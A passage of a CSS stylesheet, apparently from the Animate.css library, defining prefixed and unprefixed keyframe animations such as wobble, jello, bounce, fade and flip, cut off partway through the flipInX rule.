}\n\n  30% {\n    -webkit-transform: translate3d(20%, 0, 0) rotate3d(0, 0, 1, 3deg);\n    transform: translate3d(20%, 0, 0) rotate3d(0, 0, 1, 3deg);\n  }\n\n  45% {\n    -webkit-transform: translate3d(-15%, 0, 0) rotate3d(0, 0, 1, -3deg);\n    transform: translate3d(-15%, 0, 0) rotate3d(0, 0, 1, -3deg);\n  }\n\n  60% {\n    -webkit-transform: translate3d(10%, 0, 0) rotate3d(0, 0, 1, 2deg);\n    transform: translate3d(10%, 0, 0) rotate3d(0, 0, 1, 2deg);\n  }\n\n  75% {\n    -webkit-transform: translate3d(-5%, 0, 0) rotate3d(0, 0, 1, -1deg);\n    transform: translate3d(-5%, 0, 0) rotate3d(0, 0, 1, -1deg);\n  }\n\n  100% {\n    -webkit-transform: none;\n    transform: none;\n  }\n}\n\n.wobble {\n  -webkit-animation-name: wobble;\n  animation-name: wobble;\n}\n\n@-webkit-keyframes jello {\n  from, 11.1%, 100% {\n    -webkit-transform: none;\n    transform: none;\n  }\n\n  22.2% {\n    -webkit-transform: skewX(-12.5deg) skewY(-12.5deg);\n    transform: skewX(-12.5deg) skewY(-12.5deg);\n  }\n\n  33.3% {\n    -webkit-transform: skewX(6.25deg) skewY(6.25deg);\n    transform: skewX(6.25deg) skewY(6.25deg);\n  }\n\n  44.4% {\n    -webkit-transform: skewX(-3.125deg) skewY(-3.125deg);\n    transform: skewX(-3.125deg) skewY(-3.125deg);\n  }\n\n  55.5% {\n    -webkit-transform: skewX(1.5625deg) skewY(1.5625deg);\n    transform: skewX(1.5625deg) skewY(1.5625deg);\n  }\n\n  66.6% {\n    -webkit-transform: skewX(-0.78125deg) skewY(-0.78125deg);\n    transform: skewX(-0.78125deg) skewY(-0.78125deg);\n  }\n\n  77.7% {\n    -webkit-transform: skewX(0.390625deg) skewY(0.390625deg);\n    transform: skewX(0.390625deg) skewY(0.390625deg);\n  }\n\n  88.8% {\n    -webkit-transform: skewX(-0.1953125deg) skewY(-0.1953125deg);\n    transform: skewX(-0.1953125deg) skewY(-0.1953125deg);\n  }\n}\n\n@keyframes jello {\n  from, 11.1%, 100% {\n    -webkit-transform: none;\n    transform: none;\n  }\n\n  22.2% {\n    -webkit-transform: skewX(-12.5deg) skewY(-12.5deg);\n    transform: skewX(-12.5deg) skewY(-12.5deg);\n  }\n\n  33.3% {\n    -webkit-transform: skewX(6.25deg) skewY(6.25deg);\n    transform: skewX(6.25deg) skewY(6.25deg);\n  }\n\n  44.4% {\n    -webkit-transform: skewX(-3.125deg) skewY(-3.125deg);\n    transform: skewX(-3.125deg) skewY(-3.125deg);\n  }\n\n  55.5% {\n    -webkit-transform: skewX(1.5625deg) skewY(1.5625deg);\n    transform: skewX(1.5625deg) skewY(1.5625deg);\n  }\n\n  66.6% {\n    -webkit-transform: skewX(-0.78125deg) skewY(-0.78125deg);\n    transform: skewX(-0.78125deg) skewY(-0.78125deg);\n  }\n\n  77.7% {\n    -webkit-transform: skewX(0.390625deg) skewY(0.390625deg);\n    transform: skewX(0.390625deg) skewY(0.390625deg);\n  }\n\n  88.8% {\n    -webkit-transform: skewX(-0.1953125deg) skewY(-0.1953125deg);\n    transform: skewX(-0.1953125deg) skewY(-0.1953125deg);\n  }\n}\n\n.jello {\n  -webkit-animation-name: jello;\n  animation-name: jello;\n  -webkit-transform-origin: center;\n  transform-origin: center;\n}\n\n@-webkit-keyframes bounceIn {\n  from, 20%, 40%, 60%, 80%, 100% {\n    -webkit-animation-timing-function: cubic-bezier(0.215, 0.610, 0.355, 1.000);\n    animation-timing-function: cubic-bezier(0.215, 0.610, 0.355, 1.000);\n  }\n\n  0% {\n    opacity: 0;\n    -webkit-transform: scale3d(.3, .3, .3);\n    transform: scale3d(.3, .3, .3);\n  }\n\n  20% {\n    -webkit-transform: scale3d(1.1, 1.1, 1.1);\n    transform: scale3d(1.1, 1.1, 1.1);\n  }\n\n  40% {\n    -webkit-transform: scale3d(.9, .9, .9);\n    transform: scale3d(.9, .9, .9);\n  }\n\n  60% {\n    opacity: 1;\n    -webkit-transform: scale3d(1.03, 1.03, 1.03);\n    transform: scale3d(1.03, 1.03, 1.03);\n  }\n\n  80% {\n    -webkit-transform: scale3d(.97, .97, .97);\n    transform: scale3d(.97, .97, .97);\n  }\n\n  100% {\n    opacity: 1;\n    -webkit-transform: scale3d(1, 1, 1);\n    transform: scale3d(1, 1, 1);\n  }\n}\n\n@keyframes bounceIn {\n  from, 20%, 40%, 60%, 80%, 100% {\n    -webkit-animation-timing-function: cubic-bezier(0.215, 0.610, 0.355, 1.000);\n    animation-timing-function: cubic-bezier(0.215, 0.610, 0.355, 1.000);\n  }\n\n  0% {\n    opacity: 0;\n    -webkit-transform: scale3d(.3, .3, .3);\n    transform: scale3d(.3, .3, .3);\n  }\n\n  20% {\n    -webkit-transform: scale3d(1.1, 1.1, 1.1);\n    transform: scale3d(1.1, 1.1, 1.1);\n  }\n\n  40% {\n    -webkit-transform: scale3d(.9, .9, .9);\n    transform: scale3d(.9, .9, .9);\n  }\n\n  60% {\n    opacity: 1;\n    -webkit-transform: scale3d(1.03, 1.03, 1.03);\n    transform: scale3d(1.03, 1.03, 1.03);\n  }\n\n  80% {\n    -webkit-transform: scale3d(.97, .97, .97);\n    transform: scale3d(.97, .97, .97);\n  }\n\n  100% {\n    opacity: 1;\n    -webkit-transform: scale3d(1, 1, 1);\n    transform: scale3d(1, 1, 1);\n  }\n}\n\n.bounceIn {\n  -webkit-animation-name: bounceIn;\n  animation-name: bounceIn;\n}\n\n@-webkit-keyframes bounceInDown {\n  from, 60%, 75%, 90%, 100% {\n    -webkit-animation-timing-function: cubic-bezier(0.215, 0.610, 0.355, 1.000);\n    animation-timing-function: cubic-bezier(0.215, 0.610, 0.355, 1.000);\n  }\n\n  0% {\n    opacity: 0;\n    -webkit-transform: translate3d(0, -3000px, 0);\n    transform: translate3d(0, -3000px, 0);\n  }\n\n  60% {\n    opacity: 1;\n    -webkit-transform: translate3d(0, 25px, 0);\n    transform: translate3d(0, 25px, 0);\n  }\n\n  75% {\n    -webkit-transform: translate3d(0, -10px, 0);\n    transform: translate3d(0, -10px, 0);\n  }\n\n  90% {\n    -webkit-transform: translate3d(0, 5px, 0);\n    transform: translate3d(0, 5px, 0);\n  }\n\n  100% {\n    -webkit-transform: none;\n    transform: none;\n  }\n}\n\n@keyframes bounceInDown {\n  from, 60%, 75%, 90%, 100% {\n    -webkit-animation-timing-function: cubic-bezier(0.215, 0.610, 0.355, 1.000);\n    animation-timing-function: cubic-bezier(0.215, 0.610, 0.355, 1.000);\n  }\n\n  0% {\n    opacity: 0;\n    -webkit-transform: translate3d(0, -3000px, 0);\n    transform: translate3d(0, -3000px, 0);\n  }\n\n  60% {\n    opacity: 1;\n    -webkit-transform: translate3d(0, 25px, 0);\n    transform: translate3d(0, 25px, 0);\n  }\n\n  75% {\n    -webkit-transform: translate3d(0, -10px, 0);\n    transform: translate3d(0, -10px, 0);\n  }\n\n  90% {\n    -webkit-transform: translate3d(0, 5px, 0);\n    transform: translate3d(0, 5px, 0);\n  }\n\n  100% {\n    -webkit-transform: none;\n    transform: none;\n  }\n}\n\n.bounceInDown {\n  -webkit-animation-name: bounceInDown;\n  animation-name: bounceInDown;\n}\n\n@-webkit-keyframes bounceInLeft {\n  from, 60%, 75%, 90%, 100% {\n    -webkit-animation-timing-function: cubic-bezier(0.215, 0.610, 0.355, 1.000);\n    animation-timing-function: cubic-bezier(0.215, 0.610, 0.355, 1.000);\n  }\n\n  0% {\n    opacity: 0;\n    -webkit-transform: translate3d(-3000px, 0, 0);\n    transform: translate3d(-3000px, 0, 0);\n  }\n\n  60% {\n    opacity: 1;\n    -webkit-transform: translate3d(25px, 0, 0);\n    transform: translate3d(25px, 0, 0);\n  }\n\n  75% {\n    -webkit-transform: translate3d(-10px, 0, 0);\n    transform: translate3d(-10px, 0, 0);\n  }\n\n  90% {\n    -webkit-transform: translate3d(5px, 0, 0);\n    transform: translate3d(5px, 0, 0);\n  }\n\n  100% {\n    -webkit-transform: none;\n    transform: none;\n  }\n}\n\n@keyframes bounceInLeft {\n  from, 60%, 75%, 90%, 100% {\n    -webkit-animation-timing-function: cubic-bezier(0.215, 0.610, 0.355, 1.000);\n    animation-timing-function: cubic-bezier(0.215, 0.610, 0.355, 1.000);\n  }\n\n  0% {\n    opacity: 0;\n    -webkit-transform: translate3d(-3000px, 0, 0);\n    transform: translate3d(-3000px, 0, 0);\n  }\n\n  60% {\n    opacity: 1;\n    -webkit-transform: translate3d(25px, 0, 0);\n    transform: translate3d(25px, 0, 0);\n  }\n\n  75% {\n    -webkit-transform: translate3d(-10px, 0, 0);\n    transform: translate3d(-10px, 0, 0);\n  }\n\n  90% {\n    -webkit-transform: translate3d(5px, 0, 0);\n    transform: translate3d(5px, 0, 0);\n  }\n\n  100% {\n    -webkit-transform: none;\n    transform: none;\n  }\n}\n\n.bounceInLeft {\n  -webkit-animation-name: bounceInLeft;\n  animation-name: bounceInLeft;\n}\n\n@-webkit-keyframes bounceInRight {\n  from, 60%, 75%, 90%, 100% {\n    -webkit-animation-timing-function: cubic-bezier(0.215, 0.610, 0.355, 1.000);\n    animation-timing-function: cubic-bezier(0.215, 0.610, 0.355, 1.000);\n  }\n\n  from {\n    opacity: 0;\n    -webkit-transform: translate3d(3000px, 0, 0);\n    transform: translate3d(3000px, 0, 0);\n  }\n\n  60% {\n    opacity: 1;\n    -webkit-transform: translate3d(-25px, 0, 0);\n    transform: translate3d(-25px, 0, 0);\n  }\n\n  75% {\n    -webkit-transform: translate3d(10px, 0, 0);\n    transform: translate3d(10px, 0, 0);\n  }\n\n  90% {\n    -webkit-transform: translate3d(-5px, 0, 0);\n    transform: translate3d(-5px, 0, 0);\n  }\n\n  100% {\n    -webkit-transform: none;\n    transform: none;\n  }\n}\n\n@keyframes bounceInRight {\n  from, 60%, 75%, 90%, 100% {\n    -webkit-animation-timing-function: cubic-bezier(0.215, 0.610, 0.355, 1.000);\n    animation-timing-function: cubic-bezier(0.215, 0.610, 0.355, 1.000);\n  }\n\n  from {\n    opacity: 0;\n    -webkit-transform: translate3d(3000px, 0, 0);\n    transform: translate3d(3000px, 0, 0);\n  }\n\n  60% {\n    opacity: 1;\n    -webkit-transform: translate3d(-25px, 0, 0);\n    transform: translate3d(-25px, 0, 0);\n  }\n\n  75% {\n    -webkit-transform: translate3d(10px, 0, 0);\n    transform: translate3d(10px, 0, 0);\n  }\n\n  90% {\n    -webkit-transform: translate3d(-5px, 0, 0);\n    transform: translate3d(-5px, 0, 0);\n  }\n\n  100% {\n    -webkit-transform: none;\n    transform: none;\n  }\n}\n\n.bounceInRight {\n  -webkit-animation-name: bounceInRight;\n  animation-name: bounceInRight;\n}\n\n@-webkit-keyframes bounceInUp {\n  from, 60%, 75%, 90%, 100% {\n    -webkit-animation-timing-function: cubic-bezier(0.215, 0.610, 0.355, 1.000);\n    animation-timing-function: cubic-bezier(0.215, 0.610, 0.355, 1.000);\n  }\n\n  from {\n    opacity: 0;\n    -webkit-transform: translate3d(0, 3000px, 0);\n    transform: translate3d(0, 3000px, 0);\n  }\n\n  60% {\n    opacity: 1;\n    -webkit-transform: translate3d(0, -20px, 0);\n    transform: translate3d(0, -20px, 0);\n  }\n\n  75% {\n    -webkit-transform: translate3d(0, 10px, 0);\n    transform: translate3d(0, 10px, 0);\n  }\n\n  90% {\n    -webkit-transform: translate3d(0, -5px, 0);\n    transform: translate3d(0, -5px, 0);\n  }\n\n  100% {\n    -webkit-transform: translate3d(0, 0, 0);\n    transform: translate3d(0, 0, 0);\n  }\n}\n\n@keyframes bounceInUp {\n  from, 60%, 75%, 90%, 100% {\n    -webkit-animation-timing-function: cubic-bezier(0.215, 0.610, 0.355, 1.000);\n    animation-timing-function: cubic-bezier(0.215, 0.610, 0.355, 1.000);\n  }\n\n  from {\n    opacity: 0;\n    -webkit-transform: translate3d(0, 3000px, 0);\n    transform: translate3d(0, 3000px, 0);\n  }\n\n  60% {\n    opacity: 1;\n    -webkit-transform: translate3d(0, -20px, 0);\n    transform: translate3d(0, -20px, 0);\n  }\n\n  75% {\n    -webkit-transform: translate3d(0, 10px, 0);\n    transform: translate3d(0, 10px, 0);\n  }\n\n  90% {\n    -webkit-transform: translate3d(0, -5px, 0);\n    transform: translate3d(0, -5px, 0);\n  }\n\n  100% {\n    -webkit-transform: translate3d(0, 0, 0);\n    transform: translate3d(0, 0, 0);\n  }\n}\n\n.bounceInUp {\n  -webkit-animation-name: bounceInUp;\n  animation-name: bounceInUp;\n}\n\n@-webkit-keyframes bounceOut {\n  20% {\n    -webkit-transform: scale3d(.9, .9, .9);\n    transform: scale3d(.9, .9, .9);\n  }\n\n  50%, 55% {\n    opacity: 1;\n    -webkit-transform: scale3d(1.1, 1.1, 1.1);\n    transform: scale3d(1.1, 1.1, 1.1);\n  }\n\n  100% {\n    opacity: 0;\n    -webkit-transform: scale3d(.3, .3, .3);\n    transform: scale3d(.3, .3, .3);\n  }\n}\n\n@keyframes bounceOut {\n  20% {\n    -webkit-transform: scale3d(.9, .9, .9);\n    transform: scale3d(.9, .9, .9);\n  }\n\n  50%, 55% {\n    opacity: 1;\n    -webkit-transform: scale3d(1.1, 1.1, 1.1);\n    transform: scale3d(1.1, 1.1, 1.1);\n  }\n\n  100% {\n    opacity: 0;\n    -webkit-transform: scale3d(.3, .3, .3);\n    transform: scale3d(.3, .3, .3);\n  }\n}\n\n.bounceOut {\n  -webkit-animation-name: bounceOut;\n  animation-name: bounceOut;\n}\n\n@-webkit-keyframes bounceOutDown {\n  20% {\n    -webkit-transform: translate3d(0, 10px, 0);\n    transform: translate3d(0, 10px, 0);\n  }\n\n  40%, 45% {\n    opacity: 1;\n    -webkit-transform: translate3d(0, -20px, 0);\n    transform: translate3d(0, -20px, 0);\n  }\n\n  100% {\n    opacity: 0;\n    -webkit-transform: translate3d(0, 2000px, 0);\n    transform: translate3d(0, 2000px, 0);\n  }\n}\n\n@keyframes bounceOutDown {\n  20% {\n    -webkit-transform: translate3d(0, 10px, 0);\n    transform: translate3d(0, 10px, 0);\n  }\n\n  40%, 45% {\n    opacity: 1;\n    -webkit-transform: translate3d(0, -20px, 0);\n    transform: translate3d(0, -20px, 0);\n  }\n\n  100% {\n    opacity: 0;\n    -webkit-transform: translate3d(0, 2000px, 0);\n    transform: translate3d(0, 2000px, 0);\n  }\n}\n\n.bounceOutDown {\n  -webkit-animation-name: bounceOutDown;\n  animation-name: bounceOutDown;\n}\n\n@-webkit-keyframes bounceOutLeft {\n  20% {\n    opacity: 1;\n    -webkit-transform: translate3d(20px, 0, 0);\n    transform: translate3d(20px, 0, 0);\n  }\n\n  100% {\n    opacity: 0;\n    -webkit-transform: translate3d(-2000px, 0, 0);\n    transform: translate3d(-2000px, 0, 0);\n  }\n}\n\n@keyframes bounceOutLeft {\n  20% {\n    opacity: 1;\n    -webkit-transform: translate3d(20px, 0, 0);\n    transform: translate3d(20px, 0, 0);\n  }\n\n  100% {\n    opacity: 0;\n    -webkit-transform: translate3d(-2000px, 0, 0);\n    transform: translate3d(-2000px, 0, 0);\n  }\n}\n\n.bounceOutLeft {\n  -webkit-animation-name: bounceOutLeft;\n  animation-name: bounceOutLeft;\n}\n\n@-webkit-keyframes bounceOutRight {\n  20% {\n    opacity: 1;\n    -webkit-transform: translate3d(-20px, 0, 0);\n    transform: translate3d(-20px, 0, 0);\n  }\n\n  100% {\n    opacity: 0;\n    -webkit-transform: translate3d(2000px, 0, 0);\n    transform: translate3d(2000px, 0, 0);\n  }\n}\n\n@keyframes bounceOutRight {\n  20% {\n    opacity: 1;\n    -webkit-transform: translate3d(-20px, 0, 0);\n    transform: translate3d(-20px, 0, 0);\n  }\n\n  100% {\n    opacity: 0;\n    -webkit-transform: translate3d(2000px, 0, 0);\n    transform: translate3d(2000px, 0, 0);\n  }\n}\n\n.bounceOutRight {\n  -webkit-animation-name: bounceOutRight;\n  animation-name: bounceOutRight;\n}\n\n@-webkit-keyframes bounceOutUp {\n  20% {\n    -webkit-transform: translate3d(0, -10px, 0);\n    transform: translate3d(0, -10px, 0);\n  }\n\n  40%, 45% {\n    opacity: 1;\n    -webkit-transform: translate3d(0, 20px, 0);\n    transform: translate3d(0, 20px, 0);\n  }\n\n  100% {\n    opacity: 0;\n    -webkit-transform: translate3d(0, -2000px, 0);\n    transform: translate3d(0, -2000px, 0);\n  }\n}\n\n@keyframes bounceOutUp {\n  20% {\n    -webkit-transform: translate3d(0, -10px, 0);\n    transform: translate3d(0, -10px, 0);\n  }\n\n  40%, 45% {\n    opacity: 1;\n    -webkit-transform: translate3d(0, 20px, 0);\n    transform: translate3d(0, 20px, 0);\n  }\n\n  100% {\n    opacity: 0;\n    -webkit-transform: translate3d(0, -2000px, 0);\n    transform: translate3d(0, -2000px, 0);\n  }\n}\n\n.bounceOutUp {\n  -webkit-animation-name: bounceOutUp;\n  animation-name: bounceOutUp;\n}\n\n@-webkit-keyframes fadeIn {\n  from {\n    opacity: 0;\n  }\n\n  100% {\n    opacity: 1;\n  }\n}\n\n@keyframes fadeIn {\n  from {\n    opacity: 0;\n  }\n\n  100% {\n    opacity: 1;\n  }\n}\n\n.fadeIn {\n  -webkit-animation-name: fadeIn;\n  animation-name: fadeIn;\n}\n\n@-webkit-keyframes fadeInDown {\n  from {\n    opacity: 0;\n    -webkit-transform: translate3d(0, -100%, 0);\n    transform: translate3d(0, -100%, 0);\n  }\n\n  100% {\n    opacity: 1;\n    -webkit-transform: none;\n    transform: none;\n  }\n}\n\n@keyframes fadeInDown {\n  from {\n    opacity: 0;\n    -webkit-transform: translate3d(0, -100%, 0);\n    transform: translate3d(0, -100%, 0);\n  }\n\n  100% {\n    opacity: 1;\n    -webkit-transform: none;\n    transform: none;\n  }\n}\n\n.fadeInDown {\n  -webkit-animation-name: fadeInDown;\n  animation-name: fadeInDown;\n}\n\n@-webkit-keyframes fadeInDownBig {\n  from {\n    opacity: 0;\n    -webkit-transform: translate3d(0, -2000px, 0);\n    transform: translate3d(0, -2000px, 0);\n  }\n\n  100% {\n    opacity: 1;\n    -webkit-transform: none;\n    transform: none;\n  }\n}\n\n@keyframes fadeInDownBig {\n  from {\n    opacity: 0;\n    -webkit-transform: translate3d(0, -2000px, 0);\n    transform: translate3d(0, -2000px, 0);\n  }\n\n  100% {\n    opacity: 1;\n    -webkit-transform: none;\n    transform: none;\n  }\n}\n\n.fadeInDownBig {\n  -webkit-animation-name: fadeInDownBig;\n  animation-name: fadeInDownBig;\n}\n\n@-webkit-keyframes fadeInLeft {\n  from {\n    opacity: 0;\n    -webkit-transform: translate3d(-100%, 0, 0);\n    transform: translate3d(-100%, 0, 0);\n  }\n\n  100% {\n    opacity: 1;\n    -webkit-transform: none;\n    transform: none;\n  }\n}\n\n@keyframes fadeInLeft {\n  from {\n    opacity: 0;\n    -webkit-transform: translate3d(-100%, 0, 0);\n    transform: translate3d(-100%, 0, 0);\n  }\n\n  100% {\n    opacity: 1;\n    -webkit-transform: none;\n    transform: none;\n  }\n}\n\n.fadeInLeft {\n  -webkit-animation-name: fadeInLeft;\n  animation-name: fadeInLeft;\n}\n\n@-webkit-keyframes fadeInLeftBig {\n  from {\n    opacity: 0;\n    -webkit-transform: translate3d(-2000px, 0, 0);\n    transform: translate3d(-2000px, 0, 0);\n  }\n\n  100% {\n    opacity: 1;\n    -webkit-transform: none;\n    transform: none;\n  }\n}\n\n@keyframes fadeInLeftBig {\n  from {\n    opacity: 0;\n    -webkit-transform: translate3d(-2000px, 0, 0);\n    transform: translate3d(-2000px, 0, 0);\n  }\n\n  100% {\n    opacity: 1;\n    -webkit-transform: none;\n    transform: none;\n  }\n}\n\n.fadeInLeftBig {\n  -webkit-animation-name: fadeInLeftBig;\n  animation-name: fadeInLeftBig;\n}\n\n@-webkit-keyframes fadeInRight {\n  from {\n    opacity: 0;\n    -webkit-transform: translate3d(100%, 0, 0);\n    transform: translate3d(100%, 0, 0);\n  }\n\n  100% {\n    opacity: 1;\n    -webkit-transform: none;\n    transform: none;\n  }\n}\n\n@keyframes fadeInRight {\n  from {\n    opacity: 0;\n    -webkit-transform: translate3d(100%, 0, 0);\n    transform: translate3d(100%, 0, 0);\n  }\n\n  100% {\n    opacity: 1;\n    -webkit-transform: none;\n    transform: none;\n  }\n}\n\n.fadeInRight {\n  -webkit-animation-name: fadeInRight;\n  animation-name: fadeInRight;\n}\n\n@-webkit-keyframes fadeInRightBig {\n  from {\n    opacity: 0;\n    -webkit-transform: translate3d(2000px, 0, 0);\n    transform: translate3d(2000px, 0, 0);\n  }\n\n  100% {\n    opacity: 1;\n    -webkit-transform: none;\n    transform: none;\n  }\n}\n\n@keyframes fadeInRightBig {\n  from {\n    opacity: 0;\n    -webkit-transform: translate3d(2000px, 0, 0);\n    transform: translate3d(2000px, 0, 0);\n  }\n\n  100% {\n    opacity: 1;\n    -webkit-transform: none;\n    transform: none;\n  }\n}\n\n.fadeInRightBig {\n  -webkit-animation-name: fadeInRightBig;\n  animation-name: fadeInRightBig;\n}\n\n@-webkit-keyframes fadeInUp {\n  from {\n    opacity: 0;\n    -webkit-transform: translate3d(0, 100%, 0);\n    transform: translate3d(0, 100%, 0);\n  }\n\n  100% {\n    opacity: 1;\n    -webkit-transform: none;\n    transform: none;\n  }\n}\n\n@keyframes fadeInUp {\n  from {\n    opacity: 0;\n    -webkit-transform: translate3d(0, 100%, 0);\n    transform: translate3d(0, 100%, 0);\n  }\n\n  100% {\n    opacity: 1;\n    -webkit-transform: none;\n    transform: none;\n  }\n}\n\n.fadeInUp {\n  -webkit-animation-name: fadeInUp;\n  animation-name: fadeInUp;\n}\n\n@-webkit-keyframes fadeInUpBig {\n  from {\n    opacity: 0;\n    -webkit-transform: translate3d(0, 2000px, 0);\n    transform: translate3d(0, 2000px, 0);\n  }\n\n  100% {\n    opacity: 1;\n    -webkit-transform: none;\n    transform: none;\n  }\n}\n\n@keyframes fadeInUpBig {\n  from {\n    opacity: 0;\n    -webkit-transform: translate3d(0, 2000px, 0);\n    transform: translate3d(0, 2000px, 0);\n  }\n\n  100% {\n    opacity: 1;\n    -webkit-transform: none;\n    transform: none;\n  }\n}\n\n.fadeInUpBig {\n  -webkit-animation-name: fadeInUpBig;\n  animation-name: fadeInUpBig;\n}\n\n@-webkit-keyframes fadeOut {\n  from {\n    opacity: 1;\n  }\n\n  100% {\n    opacity: 0;\n  }\n}\n\n@keyframes fadeOut {\n  from {\n    opacity: 1;\n  }\n\n  100% {\n    opacity: 0;\n  }\n}\n\n.fadeOut {\n  -webkit-animation-name: fadeOut;\n  animation-name: fadeOut;\n}\n\n@-webkit-keyframes fadeOutDown {\n  from {\n    opacity: 1;\n  }\n\n  100% {\n    opacity: 0;\n    -webkit-transform: translate3d(0, 100%, 0);\n    transform: translate3d(0, 100%, 0);\n  }\n}\n\n@keyframes fadeOutDown {\n  from {\n    opacity: 1;\n  }\n\n  100% {\n    opacity: 0;\n    -webkit-transform: translate3d(0, 100%, 0);\n    transform: translate3d(0, 100%, 0);\n  }\n}\n\n.fadeOutDown {\n  -webkit-animation-name: fadeOutDown;\n  animation-name: fadeOutDown;\n}\n\n@-webkit-keyframes fadeOutDownBig {\n  from {\n    opacity: 1;\n  }\n\n  100% {\n    opacity: 0;\n    -webkit-transform: translate3d(0, 2000px, 0);\n    transform: translate3d(0, 2000px, 0);\n  }\n}\n\n@keyframes fadeOutDownBig {\n  from {\n    opacity: 1;\n  }\n\n  100% {\n    opacity: 0;\n    -webkit-transform: translate3d(0, 2000px, 0);\n    transform: translate3d(0, 2000px, 0);\n  }\n}\n\n.fadeOutDownBig {\n  -webkit-animation-name: fadeOutDownBig;\n  animation-name: fadeOutDownBig;\n}\n\n@-webkit-keyframes fadeOutLeft {\n  from {\n    opacity: 1;\n  }\n\n  100% {\n    opacity: 0;\n    -webkit-transform: translate3d(-100%, 0, 0);\n    transform: translate3d(-100%, 0, 0);\n  }\n}\n\n@keyframes fadeOutLeft {\n  from {\n    opacity: 1;\n  }\n\n  100% {\n    opacity: 0;\n    -webkit-transform: translate3d(-100%, 0, 0);\n    transform: translate3d(-100%, 0, 0);\n  }\n}\n\n.fadeOutLeft {\n  -webkit-animation-name: fadeOutLeft;\n  animation-name: fadeOutLeft;\n}\n\n@-webkit-keyframes fadeOutLeftBig {\n  from {\n    opacity: 1;\n  }\n\n  100% {\n    opacity: 0;\n    -webkit-transform: translate3d(-2000px, 0, 0);\n    transform: translate3d(-2000px, 0, 0);\n  }\n}\n\n@keyframes fadeOutLeftBig {\n  from {\n    opacity: 1;\n  }\n\n  100% {\n    opacity: 0;\n    -webkit-transform: translate3d(-2000px, 0, 0);\n    transform: translate3d(-2000px, 0, 0);\n  }\n}\n\n.fadeOutLeftBig {\n  -webkit-animation-name: fadeOutLeftBig;\n  animation-name: fadeOutLeftBig;\n}\n\n@-webkit-keyframes fadeOutRight {\n  from {\n    opacity: 1;\n  }\n\n  100% {\n    opacity: 0;\n    -webkit-transform: translate3d(100%, 0, 0);\n    transform: translate3d(100%, 0, 0);\n  }\n}\n\n@keyframes fadeOutRight {\n  from {\n    opacity: 1;\n  }\n\n  100% {\n    opacity: 0;\n    -webkit-transform: translate3d(100%, 0, 0);\n    transform: translate3d(100%, 0, 0);\n  }\n}\n\n.fadeOutRight {\n  -webkit-animation-name: fadeOutRight;\n  animation-name: fadeOutRight;\n}\n\n@-webkit-keyframes fadeOutRightBig {\n  from {\n    opacity: 1;\n  }\n\n  100% {\n    opacity: 0;\n    -webkit-transform: translate3d(2000px, 0, 0);\n    transform: translate3d(2000px, 0, 0);\n  }\n}\n\n@keyframes fadeOutRightBig {\n  from {\n    opacity: 1;\n  }\n\n  100% {\n    opacity: 0;\n    -webkit-transform: translate3d(2000px, 0, 0);\n    transform: translate3d(2000px, 0, 0);\n  }\n}\n\n.fadeOutRightBig {\n  -webkit-animation-name: fadeOutRightBig;\n  animation-name: fadeOutRightBig;\n}\n\n@-webkit-keyframes fadeOutUp {\n  from {\n    opacity: 1;\n  }\n\n  100% {\n    opacity: 0;\n    -webkit-transform: translate3d(0, -100%, 0);\n    transform: translate3d(0, -100%, 0);\n  }\n}\n\n@keyframes fadeOutUp {\n  from {\n    opacity: 1;\n  }\n\n  100% {\n    opacity: 0;\n    -webkit-transform: translate3d(0, -100%, 0);\n    transform: translate3d(0, -100%, 0);\n  }\n}\n\n.fadeOutUp {\n  -webkit-animation-name: fadeOutUp;\n  animation-name: fadeOutUp;\n}\n\n@-webkit-keyframes fadeOutUpBig {\n  from {\n    opacity: 1;\n  }\n\n  100% {\n    opacity: 0;\n    -webkit-transform: translate3d(0, -2000px, 0);\n    transform: translate3d(0, -2000px, 0);\n  }\n}\n\n@keyframes fadeOutUpBig {\n  from {\n    opacity: 1;\n  }\n\n  100% {\n    opacity: 0;\n    -webkit-transform: translate3d(0, -2000px, 0);\n    transform: translate3d(0, -2000px, 0);\n  }\n}\n\n.fadeOutUpBig {\n  -webkit-animation-name: fadeOutUpBig;\n  animation-name: fadeOutUpBig;\n}\n\n@-webkit-keyframes flip {\n  from {\n    -webkit-transform: perspective(400px) rotate3d(0, 1, 0, -360deg);\n    transform: perspective(400px) rotate3d(0, 1, 0, -360deg);\n    -webkit-animation-timing-function: ease-out;\n    animation-timing-function: ease-out;\n  }\n\n  40% {\n    -webkit-transform: perspective(400px) translate3d(0, 0, 150px) rotate3d(0, 1, 0, -190deg);\n    transform: perspective(400px) translate3d(0, 0, 150px) rotate3d(0, 1, 0, -190deg);\n    -webkit-animation-timing-function: ease-out;\n    animation-timing-function: ease-out;\n  }\n\n  50% {\n    -webkit-transform: perspective(400px) translate3d(0, 0, 150px) rotate3d(0, 1, 0, -170deg);\n    transform: perspective(400px) translate3d(0, 0, 150px) rotate3d(0, 1, 0, -170deg);\n    -webkit-animation-timing-function: ease-in;\n    animation-timing-function: ease-in;\n  }\n\n  80% {\n    -webkit-transform: perspective(400px) scale3d(.95, .95, .95);\n    transform: perspective(400px) scale3d(.95, .95, .95);\n    -webkit-animation-timing-function: ease-in;\n    animation-timing-function: ease-in;\n  }\n\n  100% {\n    -webkit-transform: perspective(400px);\n    transform: perspective(400px);\n    -webkit-animation-timing-function: ease-in;\n    animation-timing-function: ease-in;\n  }\n}\n\n@keyframes flip {\n  from {\n    -webkit-transform: perspective(400px) rotate3d(0, 1, 0, -360deg);\n    transform: perspective(400px) rotate3d(0, 1, 0, -360deg);\n    -webkit-animation-timing-function: ease-out;\n    animation-timing-function: ease-out;\n  }\n\n  40% {\n    -webkit-transform: perspective(400px) translate3d(0, 0, 150px) rotate3d(0, 1, 0, -190deg);\n    transform: perspective(400px) translate3d(0, 0, 150px) rotate3d(0, 1, 0, -190deg);\n    -webkit-animation-timing-function: ease-out;\n    animation-timing-function: ease-out;\n  }\n\n  50% {\n    -webkit-transform: perspective(400px) translate3d(0, 0, 150px) rotate3d(0, 1, 0, -170deg);\n    transform: perspective(400px) translate3d(0, 0, 150px) rotate3d(0, 1, 0, -170deg);\n    -webkit-animation-timing-function: ease-in;\n    animation-timing-function: ease-in;\n  }\n\n  80% {\n    -webkit-transform: perspective(400px) scale3d(.95, .95, .95);\n    transform: perspective(400px) scale3d(.95, .95, .95);\n    -webkit-animation-timing-function: ease-in;\n    animation-timing-function: ease-in;\n  }\n\n  100% {\n    -webkit-transform: perspective(400px);\n    transform: perspective(400px);\n    -webkit-animation-timing-function: ease-in;\n    animation-timing-function: ease-in;\n  }\n}\n\n.animated.flip {\n  -webkit-backface-visibility: visible;\n  backface-visibility: visible;\n  -webkit-animation-name: flip;\n  animation-name: flip;\n}\n\n@-webkit-keyframes flipInX {\n  from {\n    -webkit-transform: perspective(400px) 